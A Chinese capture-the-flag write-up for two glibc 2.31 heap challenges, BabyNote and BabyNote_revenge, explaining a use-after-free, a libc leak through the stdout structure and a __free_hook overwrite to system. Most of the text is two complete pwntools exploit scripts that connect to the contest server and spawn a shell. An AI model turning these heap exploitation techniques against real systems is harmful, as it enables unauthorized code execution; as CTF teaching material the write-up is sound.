第一届广东省大学生网络安全攻防大赛PWN Writeup

本文介绍了两道基于glibc2.31的无输出堆题目的解决过程,主要涉及堆块管理、UAF漏洞利用、libc地址泄露和system提权。在BabyNote题目中,通过tcachedouble和scanf触发malloc_consolidate获取main_arena地址,然后修改堆布局以泄露libc地址并利用__free_hook获取shell。在BabyNote_revenge中,尽管_gift_函数有所变化,但利用方式与前一题相似,主要区别在于libc地址的计算。文章详细阐述了调试过程中遇到的问题及解决方案,并提供了exploit代码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

两个题目都是无输出堆题,最近一次比赛在 nepctf 遇到:https://www.mrskye.cn/archives/bdb75c49/#sooooeasy

思路方法概述:https://www.jianshu.com/p/fe28639e406e

BabyNote

题目是基于 glibc 2.31 的菜单堆题。

漏洞出现在 free 之后没有置零指针导致的 UAF :

image-20210524162332431

程序没有输出函数,倒是有一个提示的函数 gift 函数,输出堆地址最低两个字节,没用明白,到最后也不关他的事情。

思路

  1. 利用 tcache double 和 scanf 输出长字符串触发 malloc_consolidate 获取 main_arena 地址

  2. 爆破倒数第四个数字,将堆分配到 stdout 结构体上,修改 flag 和 write_base 地址泄露出 libc 地址

  3. 利用 tcache dup get shell

遇到的问题就是直接之前 libc 2.23 的 payload 去打的话没有回显出 libc 地址,原来的 payload :

p64(0x0FBAD1887) +p64(0)*3 + p8(0x88)

flag 这么设置绕过检查没有问题,问题是将 write_base 最低值字节修改为 0x88 了,而 libc 2.31 中 write_ptr 最低位是 0x23

image-20210524170155561

导致起始地址比结束地址大,而没有东西输出。还有就是调试断点位置设置问题 ,导致一直以为是修改不成功的原因。断点一开始是打在修改后下一次进入主菜单的时候,由于每次输出都会刷新 stdout 结构体部分指针,导致一直以为没修改成功。正确应该在 read 打断点,然后 n 跳一步查看是否成功修改结构体。

EXP

from pwn import *
# context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']



def add(content):
    p.sendlineafter(">>> ",str(1))
    p.sendafter("Input Content:\n",content)
def gift():
    p.sendlineafter(">>> ",str(666))
def delete(id):
    p.sendlineafter(">>> ",str(3))
    p.sendlineafter("Input ID:\n",str(id))
def edit(id,content):
    p.sendlineafter(">>> ",str(2))
    p.sendlineafter("Input ID:\n",str(id))
    p.sendafter("Input Content:\n",content)

def exp():
    add('a'*58)#0
    add('a'*58)#1
    add('a'*58)#2
    for _ in range(8):
        delete(0)
        edit(0,'b'*0x58)
    edit(0,'\x00'*0x10)
    p.sendlineafter(">>> ",'1'*0x450)
    edit(0,'\xa0\x66')

    stdout_offset = libc.symbols['_IO_2_1_stdout_']
    log.info("stdout_offset:"+hex(stdout_offset))

    add('c'*0x8)#3
    # gdb.attach(p,"b *$rebase(0x1392)")
    # raw_input()
    add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))#4
    libc_addr = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-(0x7fbe678e5980-0x7fbe676fa000)#- (0x7ffff7fac980-0x7ffff7dc1000)
    log.info("libc_addr:"+hex(libc_addr))

    free_hook = libc_addr+libc.sym['__free_hook']
    system_addr = libc_addr+libc.sym['system']
    binsh_str = libc_addr+libc.search('/bin/sh').next()

    delete(1)
    edit(1,p64(free_hook)*2)
    add('/bin/sh\x00')
    add(p64(system_addr))
    delete(1)

    p.interactive()


# p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})
# libc = ELF("./libc-2.31.so")
# exp()

if __name__ == '__main__':
    # p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})
    # libc = ELF("./libc-2.31.so")
    # p = process("./BabyNote")
    # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p = remote("8.134.14.168", 10000)
    libc = ELF("./libc-2.31.so")
    while True:
        try:
            exp()
            exit(0)
        except:
            p.close()
            p = remote("8.134.14.168", 10000)
            # p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})

WX20210523-133922

BabyNote_revenge

程序啥的都和上一题一样,就是 gift 函数变了,里面换成个沙箱的指令,没仔细看。因为漏洞和上一题一样,用上一题的脚本改下偏移就直接跑出来了。

EXP

from pwn import *
# context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']



def add(content):
    p.sendlineafter(">>> ",str(1))
    p.sendafter("Input Content:\n",content)
def gift():
    p.sendlineafter(">>> ",str(666))
def delete(id):
    p.sendlineafter(">>> ",str(3))
    p.sendlineafter("Input ID:\n",str(id))
def edit(id,content):
    p.sendlineafter(">>> ",str(2))
    p.sendlineafter("Input ID:\n",str(id))
    p.sendafter("Input Content:\n",content)

def exp():
    add('a'*58)#0
    add('a'*58)#1
    add('a'*58)#2
    for _ in range(8):
        delete(0)
        edit(0,'b'*0x58)
    edit(0,'\x00'*0x10)
    p.sendlineafter(">>> ",'1'*0x450)
    # edit(0,'\xa0\xa6')
    edit(0,'\xa0\x66')


    # stdout_offset = libc.symbols['_IO_2_1_stdout_']
    # log.info("stdout_offset:"+hex(stdout_offset))

    add('c'*0x8)#3
    add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))#4
    libc_addr = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-(0x7f61c5525980-0x7f61c533a000)#(0x7ffff7f59980-0x7ffff7d6e000)
    #libc_addr:0x7f1eb42b5980
    log.info("libc_addr:"+hex(libc_addr))
    # gdb.attach(p,"b *$rebase(0x13E2)")
    # raw_input()
    free_hook = libc_addr+libc.sym['__free_hook']
    log.info("free_hook:"+hex(free_hook))
    system_addr = libc_addr+libc.sym['system']
    binsh_str = libc_addr+libc.search('/bin/sh').next()

    delete(1)
    edit(1,p64(free_hook)*2)
    add('/bin/sh\x00')
    add(p64(system_addr))


    
    delete(1)

    p.interactive()


# p = process("./BabyNote_revenge",env={'LD_PRELOAD':'./libc-2.31.so'})
# libc = ELF("./libc-2.31.so")
# exp()

if __name__ == '__main__':
    # p = process("./BabyNote_revenge",env={'LD_PRELOAD':'./libc-2.31.so'})
    # libc = ELF("./libc-2.31.so")
    # p = process("./BabyNote_revenge")
    # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p = remote("8.134.14.168", 10001)
    libc = ELF("./libc-2.31.so")
    while True:
        try:
            exp()
            exit(0)
        except:
            p.close()
            p = remote("8.134.14.168", 10001)
            # p = process("./BabyNote_revenge",env={'LD_PRELOAD':'./libc-2.31.so'})
            # p = process("./BabyNote_revenge")

WX20210523-133936

评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值